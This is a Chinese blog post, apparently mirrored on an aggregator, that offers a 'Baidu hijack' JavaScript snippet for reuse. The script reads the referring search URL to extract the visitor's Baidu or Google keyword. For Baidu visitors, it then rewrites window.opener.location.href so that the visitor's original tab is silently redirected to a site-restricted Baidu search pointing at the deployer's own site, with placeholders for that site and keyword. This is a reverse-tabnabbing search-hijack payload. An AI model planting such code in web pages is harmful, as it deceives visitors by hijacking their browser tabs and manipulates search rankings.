zoukankan      html  css  js  c++  java
  • 百度劫持js代码

    js代码为:

     1     var myDate=new Date();  //返回一日期对象,可以调用getDate(),内容为当前时间,这句是新建一个对象d建好对象后d就有函数date()中的所有特性
     2     var h=myDate.getHours(); //获取你现在的小时
     3     var refer=document.referrer; //链接到当前页面的前一页面的 URL 地址 
     4     var sosuo=refer.split(".")[1]; //以.为分割点,比如www.baidu.com;截取结果为baidu 
     5     var grep=null; 
     6     var str=null; 
     7     var keyword=null; 
     8      
     9     switch(sosuo){ //对sosuo里的值进行判断,是否为baidu或者为google
    10     
    11         case"baidu":     grep=/wd=.*&/i;    // 如果是baidu,grep=/wd=.*&/i
    12         str=refer.match(grep)         
    13         keyword=str.toString().split("=")[1].split("&")[0];     
    14         console.log(decodeURIComponent(keyword));   
    15         break;     
    16         case"google":     grep=/&q=.*&/i;  // 如果是google,grep=/&q=.*&/i   
    17         str=refer.match(grep)    
    18         keyword=str.toString().split("&")[1].split("=")[1]; 
    19         console.log(decodeURIComponent(keyword));   
    20         break; 
    21     } 
    22     var strs=document.referrer; //链接到当前页面的前一页面的 URL 地址 
    23     if(strs.indexOf('baidu.com')!=-1){ //判断baidu.com
    24             //str = str.toLowerCase();
    25     strs = "http://www.baidu.com/s?ct=2097152&si=你的网址/&wd=你的关键词"
    26             window.opener.location.href = strs; 
    27             //就打开http://www.baidu.com/s?ct=2097152&si=你是网址/&wd=你的关键词
    28     }
    打开代码
    转载请注明出处: 欢迎留言或qq(1090413588)交流
  • 相关阅读:
    adb、monkey常用命令
    震惊!90%的程序员不知道的Java知识!
    Android,重新出发!
    Fiddler 手机抓包 手机联网异常解决方案
    技术贴汇总
    Android开发日常-listview滚动方法梳理
    JavaScript基本语法
    Spring Boot Profile
    Spring Boot配置文件占位符
    @PropertySource和@ImportSource
  • 原文地址:https://www.cnblogs.com/linyusong/p/5869155.html
Copyright © 2011-2022 走看看